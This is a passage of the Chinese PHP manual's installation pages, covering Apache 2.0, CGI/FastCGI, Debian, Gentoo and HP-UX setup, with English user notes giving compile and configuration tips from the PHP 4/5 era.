HP-UX 11.X PA-RISC installation with oracle (oci8). You need to install the HP-UX patch PHSS_22514 patch (updated libdld.sl), otherwise you will get errors with dlopen() and dlclose() not found during the apache integration stage.
philip at c()rnad() dot c()m
25-Mar-2001 08:22
HOWTO: Installation on Cobalt RaQ  (RaQ3 or RaQ4) :
http://marc.theaimsgroup.com/?l=php-general&m=98039640119670&w=2
add a note add a note

后退 | 起点 | 前进
安装前需要考虑的事项 | 上一级 | Unix 系统下的 Apache 2.0


Unix 系统下的 Apache 2.0

本节包括在 Unix 平台的 Apache 2.0 下安装 PHP 的说明和提示。

警告

不推荐将线程化 MPM 用于实际运作的 Apache 2 环境中去。用 prefork MPM 替代，或者用 Apache 1。其原因见 FAQ 中的使用线程化 MPM 的 Apache2。

推荐阅读 Apache 文档，了解一下 Apache 2.0 服务器。

PHP 和 Apache 2.0.x 兼容性注意事项: 已知下列版本的 PHP 可以工作于最近版本的 Apache 2.0.x 之下：

  • PHP 4.3.0 或更高版本，可从 http://www.php.net/downloads.php 下载。
  • 最新的稳定开发版。取得源代码 http://snaps.php.net/php4-latest.tar.gz 或下载 Windows 可执行程序 http://snaps.php.net/win32/php4-win32-latest.zip。
  • 预发布版，可从 http://qa.php.net/ 下载。
  • 总是可以通过匿名 CVS 取得 PHP。
以上版本的 PHP 与 Apache 2.0.40 或更高版本兼容。

Apache 2.0 SAPI 支持自 PHP 4.2.0 起。PHP 4.2.3 可工作于 2.0.39，不要用任何其它版本的 Apache 与 PHP 4.2.3 配合。不过推荐的设置是用 PHP 4.3.0 或更高版本与最新版的 Apache2 配合使用。

所有提及的 PHP 版本仍然能工作于 Apache 1.3.x 之下。

下载最新版本的 Apache 2.0，并且根据上文选择合适版本的 PHP 下载。本向导仅包含最基础的内容，只能让 Apache 2.0 和 PHP 能够正常工作。更多信息请阅读 Apache 文档。这里省略所有的版本号，以保证本文的正确性。需要将本文的“NN”替换为相应的版本号。

例子 4-4. 安装说明（Apache 2 共享模块版本）

1.  gzip -d httpd-2_0_NN.tar.gz
2.  tar xvf httpd-2_0_NN.tar
3.  gunzip php-NN.tar.gz
4.  tar -xvf php-NN.tar
5.  cd httpd-2_0_NN
6.  ./configure --enable-so
7.  make
8.  make install

    现在已经将 Apache 2.0.NN 安装在 /usr/local/apache。本安装支持可装载模块
    和标准的 MPM prefork。之后，可以使用如下命令启动 Apache 服务器：
    /usr/local/apache2/bin/apachectl start
    如果成功，可以停止 Apache 服务器并继续安装 PHP：
    /usr/local/apache2/bin/apachectl stop.

9.  cd ../php4-NN

10. 现在需要配置 PHP。在这里可以用各种各样的参数来自定义PHP，例如启动哪些
    扩展功能包的支持等。用 ./configure --help 命令可以列出当前可用的所有参
    数。在此例中，将给出一个在有 MySQL 支持的 Apache 2 上进行配置的范例。
    用户本地的 apxs 的路径可能会不同，事实上，在用户的系统中，它可能被命名为
    apxs2。

    ./configure --with-apxs2=/usr/local/apache2/bin/apxs

11. make
12. make install

    如果决定在安装后改变配置选项，只需重复最后的三步，然后需要重新启动 Apache
    使新模块生效。无需重新编译。

    请注意，除非明确有提示，否则“make install”命令将安装 PEAR、各种 PHP 工具
    诸如 phpize，安装 PHP CLI 等等。

13. 配置 php.ini

    cp php.ini-dist /usr/local/lib/php.ini

    可以编辑 php.ini 文件以修改 PHP 的选项。如果想要把此文件放到另外的位置，
    需要在步骤 10 添加 --with-config-file-path=/path 选项。

    如果选择 php.ini -recommended，请务必阅读其中的变更的列表，它们将影响
    PHP 的执行。

14. 编辑 httpd.conf 文件以调用 PHP 模块。LoadMolude 表达式右边的路径必须指向
    系统中的 PHP。以上的 make install 命令可能已经完成了这些，但务必要检查。

    对于 PHP 4：
       LoadModule php4_module modules/libphp4.so

    对于 PHP 5：
       LoadModule php5_module modules/libphp5.so

15. 告知 Apache 将特定的扩展名解析成 PHP，例如，让 Apache 将扩展名 .php
    解析成 PHP。可以将任何扩展名指定为 PHP，只需添加它们，每一个用空格分隔。
    例如，要添加 .phtml：

    AddType application/x-httpd-php .php .phtml

    通常还将 .phps 扩展名设置成显示高亮的 PHP 源文件，可以这样来完成：

    AddType application/x-httpd-php-source .phps

16. 启动 Apache 服务器：
   /usr/local/apache2/bin/apachectl start

按照上面的步骤便可以使 Apache 2.0 将 PHP 作为 SAPI 模块了。当然 Apache 和 PHP 都还有很多配置选项，可以在相应的源代码目录中使用 ./configure --help 获得更多信息。假如要编译一个多线程版本的 Apache 2.0，必须覆盖标准的 MPM-Module prefork，或者 worker 或者 perchild。要这样，需要在上面的第 6 步使用 --with-mpm=worker 或者 --with-mpm=perchild 选项。之前需要了解自己在做什么。更多信息请参考 Apache 文档中关于 MPM-Modules 的部分。

注: 如果要使用内容协商（content negotiation）机制，请阅读 Apache MultiViews 常见问题。

注: 要编译多线程版本的 Apache，系统必须支持多线程。这也意味着需要将 PHP 编译为正处在试验阶段的 Zend Thread Safety（ZTS），因此并不是所有的扩展都可以使用了。推荐编译 Apache 使用标准的 prefork MPM-Module。

add a note add a note User Contributed Notes
pillepop2003 at yahoo dot de
20-Apr-2006 12:18
For unix (especially opensuse 10.0) you can find bison and flex here:

ftp.gnu.org/non-gnu/flex
ftp.gnu.org/pub/gnu/bison

Peace ;-)
felixcca at yahoo dot ca
30-Mar-2006 10:13
I've (painfully) discovered that installing PHP5 with "make install" under SuSe 9.2 is NOT a good idea.
http://www.aditus.nu/jpgraph/apache2suse.php
This page explains how to install it without breaking everything that's php-related in the Apache2 configuration. Its first purpose, though, is to show how to have php 4 and 5 to cohabit properly.
payne747 at yahoo dot com
15-Feb-2006 12:05
When compiling php 5.1.2 on Debian 3.1 (Sarge) with Apache 2.2.0, I ran into problems with libxml2 and libxml2-config not found errors. After checking the base install, Debian leaves out the libxml2 headers, they can be downloaded using apt-get:

apt-get install libxml2 libxml2-dev

PHP should then compile fine.
frank@ethisoft
28-Sep-2005 05:30
Using Apache2 & PHP5 work perfectly fine & safe together.
- all core modules are safe in Zend Engine 2
- third-party-libraries should be avoided
- semaphores and shared memory enables you to ensure yourself that your application/website is thread-safe also with non-thread-safe PHP modules!
happyboy at php dot org
04-Aug-2005 07:30
FILE TRUNCATED!!

during the make process should u receive an error declaring ext/ctype/ctype.lo (or another file) is truncated then you need to 'make clean' prior to a healthy 'make' and 'make install.'

looking into your ext/ directory you may find the offensive file to be 1 byte long.
v_santhanam at nospam dot ettimadai dot amrita dot edu
13-May-2005 02:30
if you are getting the following error : "Cannot load /usr/local/apache2/modules/libphp4.so into server: /usr/local/apache2/
modules/libphp4.so: undefined symbol: compress" , you have to add --with-zlib to php config
sukhruprai at yahoo dot com
31-Mar-2005 07:17
For good step by step instructions read Compiling PHP and Apache 2 from source on Linux OS:
http://www10.brinkster.com/ssruprai/comphp.asp
fggarcia at ice dot co dot cr
26-Mar-2005 09:26
I think that it's important says that the option --with-apxs2=/usr/local/apache2/bin/apxs in the configure script it's necesary to build the libphp5.so (in PHP5). Then in the make install command, this .so module will be installed in the modules directory of Apache home

I see on the Web a lot of persons with the trouble of missing the libphp5.so and this is the solution.

Regards,

Frank.
mihai dot sandu at gtstelecom dot ro
28-Feb-2005 09:22
For the SuSE9.2 install of PHP5.
First:
If building on a x64 platform, please set LDFLAGS="-L/usr/lib64" before configure.
As for install, it suffices to go to /etc/apache2 and:
ln -s sysconfig.d/loadmodule.conf httpd2-prefork.conf
and then make install
neil
11-Feb-2005 06:21
To install mysql and mysqli with PHP5 do the following:

after doing:

./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
   if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

.....
Pleasse note: you must have mysql-dev installed (RPM or source) or you will not have the mysql_config file at all.  The standard, server, and client installations of MySQL do not include it.  I read somewhere that the mysql and mysqli paths must be identical.

Quoted from Michael Kofler at the following link:
http://www.kofler.cc/forum/forumthread.php?rootID=3571
jmartinNO at SPAMcolumbiaservices dot net
25-Jan-2005 07:44
Well I was getting the following error when trying to run make (shared module for Apache 2.0.52)

*** Warning: inter-library dependencies are not known to be supported.
*** All declared inter-library dependencies are being dropped.

(Then of course 'make install' would puke on itself not having what it needs.)

Soo, after some time looking I found that using:

libtoolize --force

and following the instructions to add the contents of 1 file to the local file

cat /some/dir/file1 >> localfile

Would produce the desired results when you run:

make clean
make
Dan Scott (dan dot scott at acm dot org)
20-Jan-2005 12:36
Building PHP 5.x with Apache2 on SuSE Professional 9.1/9.2

SuSE uses a rather fragmented set of Apache configuration files stored in /etc/apache2/. When you configure PHP 5.x with:

$ ./configure --with-apxs2=/usr/sbin/apxs2
$ make

everything builds just fine; but when you issue:
$ su -c "make install"

the unconventional Apache conf file layout confuses the install-sapi section of the Makefile and the process halts with the following error:

apxs:Error: Config file /etc/apache2/httpd2-prefork.conf not found.
make: *** [install-sapi] Error 1

At this point only the PHP SAPI library has been copied into place; the rest of the files (like PEAR scripts, PHP-CLI, etc) have not been installed. But never fear! You can overcome this problem with the following steps:

1. Edit Makefile and change the following line to remove "install-sapi":
install_targets = install-sapi install-cli install-pear install-build install-headers install-programs

2. Issue the make install command again:
$ su -c "make install"

3. Add the PHP module & type instructions to the Apache configuration. As root, create a new file, /etc/apache2/conf.d/php5.conf that contains the following lines:

LoadModule php5_module /usr/lib/apache2/libphp5.so
AddType application/x-httpd-php php

--- And that's it. Everything else is just as the documentation suggests it should be.
Jon Drukman
14-Jan-2005 08:09
We have been running Apache 2 Prefork + PHP 4 (many different versions) for well over a year now, serving 10's of millions of pages per day on dozens of servers.  It is completely stable and reliable.
praveen dot k at masconit dot com
15-Nov-2004 05:38
Hi too had same problem with multiview like when i execute http://huey/admin/test.php it used to compile but when i use http://huey/admin/test it wouldnt recognise it as php file... i worked it out with the addhandler method and AddType in different line and setting multiview for directive

"multiviews Options Indexes FollowSymLinks MultiViews"

the directives u can set it to root directory so now when u type pn test it will search in precendence for test.php, test.html if any .....

its working for me with apache2.0.47 and php 4.3.9 on solaris

praveen
nospam-1 at spam dot matt dot blissett dot me dot uk
01-Oct-2004 06:52
If you're trying to get PHP and Multiviews to work properly, try this page:
http://tranchant.plus.com/notes/multiviews

(In brief, a request for the URL http://example.net/thing, where there are possible matches thing.php and thing.pdf, returns a 406 with many browsers because of the application/x-httpd-php MIME type set above. The link above gives a better method for using php, instead using these directives:
AddHandler php5-script php [or php-script for php4]
AddType text/html php
For more info see the link.)
add a note add a note

后退 | 起点 | 前进
Unix 系统下的安装 | 上一级 | Caudium 服务器


CGI 和命令行设置

默认为将 PHP 编译为 CGI 程序。这将建立一个命令行解释器，可用于 CGI 处理或非 web 相关的 PHP 脚本。如果用户运行着一个 PHP 模块支持的 web 服务器，那通常为性能考虑应该使用模块方式。不过，CGI 版可以使 Apache 用户用不同的用户 ID 运行不同的 PHP 页面。

警告

如果使用 CGI 方式安装，则服务器对于某些可能的攻击是开放的。请阅读 CGI 安全一章以学习如何防御这些攻击。

自 PHP 4.3.0 起，PHP 有了一些重要的新增功能。又有了一个新的 SAPI 称为 CLI，和 CGI 程序同名。根据配置选项它安装在 {PREFIX}/bin/php，并在手册中 PHP 的命令行模式一章中有详细说明。更多细节请阅读该章节。

测试

如果将 PHP 编译为 CGI 程序，可以通过键入 make test 来测试你的编译。测试一下编译永远是个好主意。这样就可以在你的平台上及早捕捉到 PHP 的问题而不是以后再费力的解决。

基准测试

如果将 PHP 3 编译为 CGI 程序，可以通过键入 make bench 来进行一下性能的基准测试。注意如果默认打开了安全模式，则超过 30 秒的允许范围测试可能不能完成。这是因为 set_time_limit() 不能用于安全模式。用 max_execution_time 配置选项来为你自己的脚本控制此时间限制。make bench 会忽略配置文件。

注: make bench 仅能用于 PHP 3。

使用变量

某些服务器提供的环境变量没有定义在当前的 CGI/1.1 标准中。只有下列变量定义在其中：AUTH_TYPE，CONTENT_LENGTH，CONTENT_TYPE，GATEWAY_INTERFACE，PATH_INFO，PATH_TRANSLATED，QUERY_STRING，REMOTE_ADDR，REMOTE_HOST，REMOTE_IDENT，REMOTE_USER，REQUEST_METHOD，SCRIPT_NAME，SERVER_NAME，SERVER_PORT，SERVER_PROTOCOL 和 SERVER_SOFTWARE。其它的变量均作为“供应商扩展（vendor extensions）”来对待。

add a note add a note User Contributed Notes
info at ch2o dot info
17-Jun-2005 10:59
additionnal information to fastcgi...

the compilation of fastcgi library is not nessesary, php include a modified version of this library,
and fastcgi module have this own implementation of the protocole fastcgi...

on the first server (where apache are!) the uid and gid of apache instance of the fastcgi module
must be the same on the php file to execute...
without that they dont work...
the module refuse to send the request to the fastcgi php server...
info at ch2o dot info
14-Jun-2005 01:59
for using fastcgi external server in place of cgi or mod php with php:

to compile fastcgi librairie:

  wget http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz
  tar xzvf fcgi-2.4.0.tar.gz
  cd fcgi-2.4.0
  ./configure
  make
  gmake install

to compile the fastcgi apache module:

  wget http://www.fastcgi.com/dist/mod_fastcgi-2.4.2.tar.gz
  tar xvzf mod_fastcgi-2.4.2.tar.gz
  cd mod_fastcgi-2.4.2
  path/to/apache/bin/apxs -i -A -n fastcgi -o mod_fastcgi.la -c *.c

after you must modify the http.conf to add that:

  # load fcgi module
  LoadModule fastcgi_module      modules/mod_fastcgi.so

  # authorization to execute fcgi  on tree "/fcgi-bin/"
  <Location /fcgi-bin/>
     Options ExecCGI
     SetHandler fastcgi-script
  </Location>

  # define fastcgi external serveur for virtual path "/fcgi-bin/phpfcgi" to execute on targetmachinehost with targetport
  FastCgiExternalServer /fcgi-bin/phpfcgi -host targetmachinehostname:targetport

  # mime type definietion for some extention
  AddType application/x-httpd-fastphp .php .cphp .php4

  #define apache cgi regirection with the virtual action script /fcgi-bin/phpfcgi associated with the defined mime type.
  Action application/x-httpd-fastphp /fcgi-bin/phpfcgi

start apache.

compile php with --enable-cgi  and --enable-fastcgi=/to/lib/fastcgi

start on target machine php with "php -b ip:port" for ear request from mod_fastcgi.

some aditional thing are in sapi/cgi/README.FastCGI of php src tree.

the document root of the apache machine must be synchronous with the php target machine... with the same tree...

and with that solution you can mixe php5 and php4 with different extention of apache directory limitation to one or another version...

with performance like mod_php!
kptrs at yahoo dot com
07-Jun-2004 07:37
Dug out from the discussion at the site below is a good tip: if you are working with an existing PHP installation which did not build either the commandline or CGI servers, you can use the lynx non-graphical web browser to get the web server to execute php scripts from the command line (or cron jobs, etc):

lynx -dump http://whatever

>If you wish to use PHP as a scripting language, a good article to read is >http://www.phpbuilder.com/columns/darrell20000319.php3

>note that the article is aimed at *nix not win32, but most of it still applies
phil at philkern dot de
04-Jan-2003 02:40
Thanks nordkyn, this one was very helpful.
Please note that the kernel has to be compiled with misc binary support, which is activated on most distributions like Debian.
You would have to please these two lines in a script to run it after every reboot, on debian I propose /etc/init.d/bootmisc.sh
You could place this lines at the end but before : exit 0
---
# Install PHP as binary handler

mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
echo ":PHP:E::php::/usr/bin/php4:" > /proc/sys/fs/binfmt_misc/register
---
And please remember that the package management would override the file on the next distribution upgrade :)
cv at corbach dot de
21-Feb-2002 12:18
Up to and including 4.1.1 you have to set doc_root to an non empty value if you configure PHP for CGI usage with --enable-discard-path.
add a note add a note

后退 | 起点 | 前进
Sun Solaris 上的 Sun、iPlanet 和 Netscape 服务器 | 上一级 | 在 HP-UX 系统下的安装


Debian GNU/Linux 安装说明

本节包含了在 Debian GNU/Linux 下安装 PHP 的说明和提示。

使用 APT

当然可以下载 PHP 源代码并自己编译，不过使用 Debian 的软件包系统是安装 PHP 的最简单和最干净利落的方法。如果不熟悉在 Linux 下编译软件，那最好用此方法。

首先要决定是安装 Apache 1.3.x 还是 Apache 2.x。相对应的 PHP 软件包名字为 libapache-mod-php* 和 libapache2-mod-php*。以下步骤以 Apache 1.3.x 为例。注意迄今为止，还没有 PHP 5 的正式的 Debian 软件包。以下步骤将安装 PHP 4。

PHP 在 Debian 下也有 CGI 和 CLI 两种风格，分别命名为 php4-cgi 和 php4-cli。如果需要的话，只要用正确的软件包名称重复以下步骤。另外需要安装的一个特殊软件包是 php4-pear。它包含了最小的 PEAR 安装以及 pear 命令行工具。

如果需要比 Debian 的稳定版本更新的 PHP 包或者一些不在 Debian 官方库中的 PHP 模块，那应该看看 http://www.apt-get.org/。其中可以找到一个 Dotdeb。此非官方库是由 Guillaume Plessis 负责维护，其中包含了最新版 PHP 4 和 PHP 5 的 Debian 软件包。要使用，只需将以下两行添加到 /etc/apt/sources.lists 并运行 apt-get update：

例子 4-10. Dotdeb 有关的两行

deb http://packages.dotdeb.org stable all
deb-src http://packages.dotdeb.org stable all

最后要考虑的是自己的软件包列表是否是最新版。如果最近没有更新过，那需要在做任何事之前先 apt-get update。这样就可以使用最近稳定版的 Apache 和 PHP 软件包了。

所有准备做好之后，就可以按照下面的例子来安装 Apache 和 PHP：

例子 4-11. Debian 中在 Apache 1.3 下安装的例子

# apt-get install libapache-mod-php4

APT 将自动安装 Apache 1.3 的 PHP 4 模块以及所有依赖的库并激活之。如果在安装过程中没有被要求重启动 Apache，那必须手工进行：

例子 4-12. 安装完 PHP 4 后停止并启动 Apache

# /etc/init.d/apache stop
# /etc/init.d/apache start

更好地控制配置

上一节中 PHP 仅安装了核心模块。但可能不够用，用户很快就会发现需要更多的激活模块，例如 MySQL，cURL，GD 等。

当自己从源代码编译 PHP 时，需要通过 configure 命令来激活模块。用 APT 则只需安装附加的软件包。这些包都命名为“php4-*”（或“php5-*”，如果安装了第三方的 PHP 5 的话）。

例子 4-13. 取得 PHP 附加软件包的列表

# dpkg -l 'php4-*'

从上面的输出中可以看到，还有很多 PHP 模块可安装（除了 php4-cgi，php4-cli 或 php4-pear 这些特殊软件包）。仔细察看并安装自己所需要的。如果选择了一个模块而没有相应的库，APT 会自动安装所有依赖的库。

如果选择将 MySQL，cURL 和 GD 支持添加到 PHP 中，则其命令类似于：

例子 4-14. 安装 PHP 的 MySQL，cURL 和 GD 支持

# apt-get install php4-mysql php4-curl php4-gd

APT 会自动把适当的行添加到不同的 php.ini（/etc/php4/apache/php.ini，/etc/php4/cgi/php.ini 等）中去。

例子 4-15. 在 PHP 中激活 MySQL，cURL 和 GD 的配置行

extension=mysql.so
extension=curl.so
extension=gd.so

只需像之前那样重新启动 Apache 来激活这些模块。

常见问题

  • 如果看到了 PHP 源代码而不是脚本应该产生的结果，则 APT 可能没有 /etc/apache/conf.d/php4 包括到 Apache 1.3 配置中去。请确保下面一行出现在 /etc/apache/httpd.conf 文件中并重启动 Apache：

    例子 4-16. 下面这行在 Apache 中激活了 PHP 4

    # Include /etc/apache/conf.d/

  • 如果安装了更多模块但其函数不能在脚本中使用，请确保相应的配置行出现在 php.ini 中，如上面所说。APT 可能会由于混乱的 debconf 配置而在安装附加模块时失败。

add a note add a note User Contributed Notes
Ben A.
18-Dec-2005 02:53
Although there are no PHP 5 packages for Debian 3.1 (aka "stable" or "sarge"), there are currently PHP 5 packages for "testing"/"etch" and "unstable"/"sid".  Installation works the same way.

Also, the same process can be used for Ubuntu, but note that some of the packages may be in the "universe" section instead of "main".
jimmychan at example dot com
24-Oct-2005 01:01
If you are using Debian 3.1

It is total, the php.ini is under
/etc/php4/apache2

Since Debian 3.1 default apache is 2.0.x version, this one just said how to change the php.ini under apache 1.3.x

If you need enable the ext. need manaul edit php.ini, and comment out # of what the ext. that you want to enable

Of course, you much first install the ext. first by like that

apt-get install php4-gd php4-mysql ......
add a note add a note

后退 | 起点 | 前进
在 Gentoo 系统下的安装 | 上一级 | Mac OS X 系统下的安装


在 Gentoo 系统下的安装

本节包含了在 Gentoo Linux 系统下安装 PHP 的说明和提示。

使用 Portage (emerge)

当可以下载和自己编译 PHP 源代码时，使用 Gentoo 的包系统安装 PHP 是最简单和干净的方法。但如果不熟悉在 Linux 下编译软件，可以使用本节提到的方法。

如果目前为止已经安装好了 Gentoo 系统，可能已经习惯于使用 Portage 了。安装 Apache 和 PHP 与安装其它系统工具没有什么不同。

首先要决定是安装 Apache 1.3.x 还是 Apache 2.x。二者均可使用 PHP，下面的步骤是基于 Apache 1.3.x 的。另一件要考虑的事情是，本地的 Portage 树是否为最新的。如果最近没有更新它，需要首先运行 emerge sync。这样，便可以使用最新稳定版本的 Apache 和 PHP。

现在一切都准备好了，可以参照下面的示例安装 Apache 和 PHP：

例子 4-7. Gentoo 下 Apache 1.3 + PHP 的安装示例

# emerge \<apache-2
# USE="-*" emerge php mod_php
# ebuild /var/db/pkg/dev-php/mod_php-<your PHP version>/mod_php-<your PHP version>.ebuild config
# nano /etc/conf.d/apache
  Add "-D PHP4" to APACHE_OPTS

# rc-update add apache default
# /etc/init.d/apache start

可以在 Gentoo 网站上的 Portage 手册中获得更多关于 emerge 的信息。

如果需要使用 Apache 2，可以在上例中简单的使用 emerge apache 命令。

配置时进行更好的控制

在上一节，PHP 安装时几乎没有安装任何激活的模块。在写本文档时，唯一被激活的模块是 XML，因为 PEAR 需要它。这可能不是想要的，不久就会发现需要更多激活的模块，例如 MySQL、gettext、GD 等。

当自己从源代码编译 PHP 时，需要使用 configure 激活所需模块。而在 Gentoo 中，只需使用 USE 标记，它会被自动传递到配置脚本中。要了解 USE 标记在 emerge 中是怎么工作的，可以尝试：

例子 4-8. 获得所有可用的 USE 标记列表

# USE="-*" emerge -pv php

[ebuild  N    ] dev-php/php-4.3.6-r1  -X -berkdb -crypt -curl -debug -doc
-fdftk -firebird -flash -freetds -gd -gd-external -gdbm -gmp -hardenedphp
-imap -informix -ipv6 -java -jpeg -kerberos -ldap -mcal -memlimit -mssql
-mysql -ncurses -nls -oci8 -odbc -pam -pdflib -png -postgres -qt -readline
-snmp -spell -ssl -tiff -truetype -xml2 -yaz  3,876 kB

可以从输出中看到，PHP 可用使用很多 USE 标记。请仔细查看和选择所需要的标记。如果选择的标记所需的库没有安装，Portage 会自动编译它们。可以再次使用 emerge -pv 命令以了解 Portage 会根据 USE 标记编译哪些内容。例如，如果没有安装 X，而在 USE 标记中包括了 X，Portage 将会首先编译 X，然后再编译 PHP。这会花去好几个小时。

如果要编译 PHP 并使其支持 MySQL、cURL 和 GD，使用的命令为：

例子 4-9. 使用 USE 标记安装 PHP

# USE="-* curl mysql gd" emerge php mod_php

在上例中，不要忘记同时 emerge php 和 mod_php。php 是 PHP 的命令行版本，而 mod_php 是 PHP 的 Apache 模块版本。

常见问题

  • 如果浏览 PHP 脚本时看到是 PHP 源代码，而不是其生成的页面，原因可能是忘记编辑 /etc/conf.d/apache 文件。Apache 启动时需要添加 -D PHP4 参数。要了解是否使用了该参数，可以在 Apache 运行之后输入 ps ax | grep apache 命令。

  • 由于某些原因，可能在系统中安装了多个版本的 PHP。如果是这样的话，需要手动 unmerge 旧版本。使用 emerge unmerge mod_php-<old version> 命令。

  • 如果是因为 Java 不能 emerge PHP，尝试在 USE 标记的开始使用 -*。如上面的例子所示。

  • 如果在配置 Apache 和 PHP 的过程中遇到问题，可以使用关键字“Apache PHP”搜索 Gentoo 论坛。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
在 Solaris 下的安装 | 上一级 | Debian GNU/Linux 安装说明


在 HP-UX 系统下的安装

本章节的内容和提示仅限于将 PHP 安装到 HP-UX 系统上（此文章是由 paul_mckay at clearwater-it dot co dot uk 编写的）。

注: 本文涉及的技巧适用于 PHP 4.0.4 和 Apache 1.3.9。

  1. 安装 PHP 需要一个 gzip，可以从如下地址得到该软件的二进制版本的发行包 http://hpux.connect.org.uk/ftp/hpux/Gnu/gzip-1.2.4a/gzip-1.2.4a-sd-10.20.depot.Z，下载后解压缩，并且使用 swinstall 安装。

  2. 安装 PHP 需要 gcc，可以从如下地址得到该软件的二进制版本的发行包 http://gatekeep.cs.utah.edu/ftp/hpux/Gnu/gcc-2.95.2/gcc-2.95.2-sd-10.20.depot.gz，解压缩这个文件，使用 swinstall 安装 gcc。

  3. 安装 PHP 需要 GNU binutils，可以从如下地址得到该软件的二进制版本的发行包 http://hpux.connect.org.uk/ftp/hpux/Gnu/binutils-2.9.1/binutils-2.9.1-sd-10.20.depot.gz，解压缩这个文件，使用 swinstall 安装 binutils。

  4. 安装 PHP 需要 bison，可以从如下地址得到该软件的二进制版本的发行包 http://hpux.connect.org.uk/ftp/hpux/Gnu/bison-1.28/bison-1.28-sd-10.20.depot.gz，安装方式同上。

  5. 安装 PHP 需要 flex，需要从 http://www.gnu.org 的镜像站点下载一个该软件的源代码。它被放置于一个 非 gnu 目录的 ftp 服务器上。下载这个文件，并且使用 gunzip 解压缩，然后执行 tar -xvf。进入新创建的 flex 目录并运行 ./configure，再执行 make 以及 make install。

    如果这里出现了错误，很可能是由于 gcc 等工具不在路径中，应将其添加到环境变量 PATH 中。

  6. 下载 PHP 和 apache 的源代码。

  7. 下载后对他们分别执行 gunzip 和 tar -xvf。在开始编译他们之前我们需要修改一些文件。

  8. 首先 configure 文件需要被修改，因为它似乎忘记自己是在 hpux 系统下了，有更好的方法解决此问题，但最省事的是在配置脚本的第 47286 行加入 lt_target=hpux10.20。

  9. 其次是修改 Apache GuessOS 文件。在文件 apache_1.3.9/src/helpers 的第 89 行，将参数 echo "hp${HPUXMACH}-hpux${HPUXVER}"; exit 0 替换为 echo "hp${HPUXMACH}-hp-hpux${HPUXVER}"; exit 0。

  10. 不能把 PHP 作为共享对象方式安装到 HP-UX， 因此你必须将其编译成为一个静态方式，参照 Apache 站点的指导就可以完成。

  11. 这样就完成了 PHP 和 Apache 的 安装编译，然而 Apache 将仍然不能启动，必须为 Apache 配置一个新的用户名，例如 www 或 apache。然后修改 Apache 配置文件 conf/httpd.conf 的 252 和 253 行，由原来的

    User nobody
Group nogroup

    替换为类似如下的内容

    User www
Group sys

    这是因为在 hp-ux 系统下， Apache 不能作为 nobody 用户运行。按照上面的方式配置 Apache 和 PHP 就应该可以正常工作了。

add a note add a note User Contributed Notes
Vinayak
23-Mar-2006 08:14
Installing PHP 5.x with Apache 2.x on HP UX 11i and configuring
PHP 5.x with Oracle 9i

I am very glad to share this information to configure PHP 5.x work
with Apache 2.x and Oracle 9i on HP UX 11i.

Step 1: Install Apache 2.x with DSO support:
--------------------------------------------

This is a stratight forward Apache installation with
--enable-so option

gzip -d httpd-2_0_NN.tar.gz
tar xvf httpd-2_0_NN.tar
cd httpd-2_0_NN

./configure \
--prefix=/var/apps/apache2 \
--enable-so \
--enable-mods-shared=most \
--libexecdir=/var/apps/apache2/libexec

You can add other options as required.

make

make install

Step 2: Install and configure PHP 5.x with Oracle 9i
----------------------------------------------------

Edit the ./configure file to change "$OCI8_DIR/lib" as "$OCI8_DIR/lib32"

By default, with Oracle 9i, "$OCI8_DIR/lib" will be poiting to
Oracle 64 bit libraries in "$OCI8_DIR/lib64" directory.
Unfortunately, PHP 5.x does not work with 64 bit oracle shared libraries.

Run configure..

$ ./configure \
--prefix=/var/apps/php \
--with-apxs2=/var/apps/apache2/bin/apxs \
--with-oci8=/oracle/app/product/9.0.2 \
--disable-libxml \
--enable-libgcc \
--enable-ftp \
--enable-calendar \
--enable-track-vars \
--enable-trans-sid \
--enable-sigchild \
--libexecdir=/var/apps/apache2/libexec \
--with-config-file-path=/var/apps/apache2/conf

--enable-libgcc \
--enable-sigchild \

You can add other options as required. You can use the --help
option to configure to get a complete list.

After configure runs, you must edit the file libtool.

$ vi ./libtool

At line 184, you should change the line from:

deplibs_check_method="unknown"
to
deplibs_check_method="pass_all"

so that PHP and mod_php are properly compiled.

3. Compile and install the files.

Run make. This should complete normally.

$ make

Run make install. This will fail when it attempts to call apxs.

$ make install

Step 3: Configure Apache 2.x
----------------------------

Edit httpd.conf file to include

For PHP 5:

LoadModule php5_module modules/libphp5.so

AddType application/x-httpd-php .php .phtml

Set environment variables in $APACHE_ROOT/bin/envvars file

SHLIB_PATH="/var/apps/apache2/lib:$SHLIB_PATH"
export SHLIB_PATH

LD_LIBRARY_PATH=$ORACLE_HOME/app/product/9.0.2
/lib32
export LD_LIBRARY_PATH

LD_PRELOAD=/usr/lib/libpthread.sl:$ORACLE_HOME/app/
product/9.0.2/JRE/lib/PA_RISC/native_threads/libjava.sl
export LD_PRELOAD

After lot of hard work, by following the above procedure,
we were able to make PHP 5.x is work with Apache 2.x
and Oracle 9i on HP UX 11i OS.

Hope this will save your time!!
flconseil at yahoo dot fr
23-Jan-2006 10:47
If hpws is not an option for you, or if you want to build Apache and PHP with your own options and extensions, I have written a step by step tutorial.

It explains how to build Apache 2.0 and PHP 5 from scratch on HP-UX 11i (11.11), including most modules and extensions (zlib, SSL, LDAP, iconv, expat, xml, xslt, gd, png, Xpm, jpeg, freetype, bzip2, curl, MySQL, PostgreSQL, Oracle, AdoDB) :

http://flaupretre.free.fr/redir.php?key=build_apa_php
Marcus dot Reimann at reimann-systemberatung dot de
29-Aug-2003 10:50
If you need an Apache2-Server with PHP4 under HP-UX 11.x, it's a good way to download the HP-WebServer from the HP-Website (http://software.hp.com). The HP-Webserver comes with numerous moduls. First install the HP-Webserver (swinstall -s /absolute_path_to_depot_file/name_of_depot_file). After that, download the newest PHP-Version from http://www.php.net (HP ships the HP-Webserver with an old PHP-Version) and unpack the tar-file in a working-directory.

Use the following parameters for configure PHP:
./configure --with-apxs2=/opt/hpws/apache/bin/apxs --prefix=/opt/hpws/apache/php [and so on...]

If configure prints the error "expr: An integer value was expected.", than you have to edit the Script "configure". Replace the line:
APACHE_VERSION=`expr $4 \* 1000000 + $5 \* 1000 + $6`
with the following (correct and very long) line:
